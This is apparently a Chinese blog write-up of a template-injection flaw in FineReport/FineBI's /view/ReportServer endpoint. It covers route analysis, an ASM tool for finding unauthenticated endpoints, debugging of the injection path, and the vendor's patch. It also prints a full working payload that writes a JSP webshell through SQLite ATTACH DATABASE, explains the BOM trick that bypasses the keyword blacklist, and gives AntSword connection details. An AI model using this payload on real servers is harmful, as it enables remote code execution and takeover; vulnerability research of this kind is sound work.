帆软v10,v11存在/view/ReportServer接口存在模版注入漏洞,攻击者可以利用该漏洞执行任意SQL写入Webshell,从而获取服务器权限。
该漏洞影响 FineReport 10.0、FineReport11.0、FineBI 的tomcat 部署包(7 月 23 日补丁版本之前的全部版本)
帆软v10路由处理
从v10开始,web.xml中不在设置自定义filter,使用注解来处理路由,这里从DispatcherServlet.doDispatch方法来分析路由是如何处理的
从this.getHandler中根据请求的路径,参数等信息获取对应处理业务逻辑的handler
比如请求的路径是/webroot/decision/login
对应的hanlder信息:
接着从this.getHandlerAdapter中获取对应handler的适配器,后续用来解析handler
mappedHandler.applyPreHandle是路由处理的关键
前五个拦截器负责处理请求的合法性,不对请求进行权限校验,从DecisionInterceptor开始校验权限,进入DecisionInterceptor.preHandle方法
EventDispatcher.fire方法为设置触发器
将handler转换为HandlerMethod后进入getRequestChecker
checkerList如下:
从这里开始迭代这个list,并且调用其acceptRequest方法,如果返回true则跳出循环
DecisionRequestChecker.acceptRequest如下:
这里获取handler的方法是否存在TemplateAuth这个注解,如果没有则返回true
ReportTemplateRequestChecker
处理TemplateAuth不为空的情况,并且TemplateAuth的product属性为TemplateProductType.FINE_REPORT,否则返回false
其余的类和以上的情况差不多
返回到DecisionInterceptor
因为这里对应的handler是LoginResource.page没有TemplateAuth注解,所以返回DecisionRequestChecker
进入DecisionRequestChecker.checkRequest
进入getLoginStatusValidator,这里开始判断这个请求对应的方法是否需要被进行检查
这里就比较清楚了,如果类和方法被LoginStatusChecker修饰,并且required为false即不需要被鉴权
所以接下来就来寻找不需要被鉴权即可访问的类和方法,在idea里面,jar包中不支持反向查找,所以这里用asm来实现.class文件的解析
利用asm快速获取可未授权访问的接口
编写简单的asm代码
public class AllClassVisitor extends ClassVisitor {
private byte\[\] classData;
private boolean isControllerClass \= false;
private boolean isRequestMappingClass \= false;
private boolean isRestController \= false;
private String className;
private boolean classNeedAuth \= true;
private boolean methodNeedAuth \= true;
public AllClassVisitor(byte\[\] data) {
super(Opcodes.ASM6);
classData \= data;
}
@Override
public void visit(int version, int access, String name, String signature, String superName, String\[\] interfaces) {
super.visit(version, access, name, signature, superName, interfaces);
className \= name;
}
@Override
public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) {
if (descriptor.equals(Annotation.controller)) {
isControllerClass \= true;
} else if (descriptor.equals(Annotation.requestMapping)) {
isRequestMappingClass \= true;
} else if (descriptor.equals(Annotation.restController)) {
isRestController \= true;
} else if (descriptor.equals(Annotation.loginStatusChecker)) {
return new AnnotationVisitor(Opcodes.ASM6) {
@Override
public void visit(String name, Object value) {
if (name.equals("required") && value instanceof Boolean && value.toString() \== "false") {
classNeedAuth \= false;
}
super.visit(name, value);
}
};
}
return super.visitAnnotation(descriptor, visible);
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String\[\] exceptions) {
return new AllMethodAdapter(className, name);
}
@Override
public void visitEnd() {
if (isControllerClass || isRequestMappingClass || isRestController) {
if (!classNeedAuth || !methodNeedAuth) {
String fileName \= "your save path" + className.substring(className.lastIndexOf("/") + 1) + ".class";
File file \= new File(fileName);
try {
FileUtils.writeByteArrayToFile(file, classData);
} catch (IOException e) {
throw new RuntimeException(e);
}
} else {
String fileName \= "your save path" + className.substring(className.lastIndexOf("/") + 1) + ".class";
File file \= new File(fileName);
try {
FileUtils.writeByteArrayToFile(file, classData);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
public class AllMethodAdapter extends MethodVisitor {
private String methodName;
public AllMethodAdapter(String name, String method) {
super(Opcodes.ASM6);
className \= name;
methodName \= method;
}
@Override
public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) {
if (descriptor.equals(Annotation.loginStatusChecker)) {
return new AnnotationVisitor(Opcodes.ASM6) {
@Override
public void visit(String name, Object value) {
if (name.equals("required") && value instanceof Boolean && value.toString() \== "false") {
methodNeedAuth \= false;
}
super.visit(name, value);
}
};
} else if (descriptor.equals(Annotation.templateAuth)) {
return new AnnotationVisitor(Opcodes.ASM6) {
@Override
public void visitEnum(String name, String descriptor, String value) {
if (name.equals("product") && descriptor.equals("Lcom/fr/decision/webservice/bean/template/TemplateProductType;") && value.equals("FINE\_REPORT")) {
methodNeedAuth \= false;
}
super.visitEnum(name, descriptor, value);
}
};
}
return super.visitAnnotation(descriptor, visible);
}
}
}
分析所有帆软v10的jar包,得到下面的文件列表,包含了所有可不经过鉴权即可访问的方法和类
那么ReportRequestCompatibleService就是对应/view/ReportServer
的漏洞点了
如果需要对帆软的业务代码进行调试,需要对其业务代码重新编译恢复class文件中的行号信息,然后替换到原来的jar包中,重启服务即可
分析/view/ReportServer接口的ssti
发送payload
test=s&n=${__f_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faaa.jsp%27%20as%20gggggg%3B%27),1,1)}${__fr_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFCREATE%20TABLE%20gggggg.exp2%28data%20text%29%3B%27),1,1)}${__fr_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFINSERT%20INTO%20gggggg.exp2%28data%29%20VALUES%20%28x%27247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d%27%29%3B%27),1,1)}
打下断点,开始调试
进入render方法,继续跟进
这里的com.fr.script.Calculator方法,文档的解释是用来处理公式的运算
进入renderTpl
继续跟进renderTpl
这里对${...}这样格式的数据进行正则校验
这里的第一个${fineServletURL},通过服务器的全局数据获取到context数据,从第二个${}开始
进入TemplateUtils
一直跟进到Calculator.evalString方法
这里通过parse把参数和值解析成三部分,继续跟进eval,对这三部分进行解析处理
这里在处理第三部分,也就是对应的sql语句的时候,会有一个额外的处理
解析是否存在这个sql的方法
也就是说如果没有找到sql的类,会拼接com.fr.function.sql这样,再去反射获取obj,那么 后续其实就在调用obj的run方法了
但是在执行sql之前,需要被另外一个线程检查
InsecurityElement如下:
所以这里需要先去除字符串和字符内容,再去除特殊字符,然后返回sql的执行关键语句,最后判断这个关键字是否在黑名单里面
然后在回来看payload里面的sql语句
%EF%BB%BFATTACH DATABASE '../webapps/webroot/aaa.jsp' as gggggg; 创建数据库文件落地
%EF%BB%BFCREATE TABLE gggggg.exp2(data text); 创建表
%EF%BB%BFINSERT INTO gggggg.exp2(data) VALUES 插入数据(x'247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d');
语句的每一个开头都有一个%EF%BB%BF
这里sqlite的文档显示如果开头字符存在U+FEFF则移除,正好可以绕过帆软的关键字检测
最后完成aaa.jsp的写入,其实这就是个sqlite的数据库文件...
最后访问即可rce
但是这里的环境有问题,帆软里面大部分jar包,以及tomcat的jsp依赖,都被帆软官方改过,在win下貌似有问题
漏洞补丁分析
后续的补丁在ReportRequestCompatibleService.preview做了修改:
用户的数据不在被render方法解析,这个未授权的接口也无效了
然后在JDBCSecurityChecker$InsecuritySQLKeyword.probed方法中也做了对应的修改:
可以看见不在做简单的匹配了,直接用正则来匹配黑名单关键字,sqlite的特性在这里也被修复了
下载帆软v10的历史版本
https://www.finereport.com/product/download
开启调试端口,修改/bin/designer.bat,添加如下代码
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=localhost:5005
启动designer.bat
这里的试用可以申请,比较方便
最后在网站根目录下有aaa.jsp
使用蚁剑链接url:http://192.168.0.107:8075/webroot/aaa.jsp?a=javax.script.ScriptEngineManager
密码为b
在分析帆软v10的路由情况时,发现大部分未授权的接口都使用了对应的注解,这个时候可以利用asm来快速获取不需要鉴权的接口,从0day视角分析此漏洞
/view/ReportServer漏洞主要利用了ssti和sqlite数据库的特性,通过对应的sql方法完成数据库(即shell文件)的落地,以及对此sql文件的数据操作完成恶意数据的写入,最后实现rce
参考
3 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!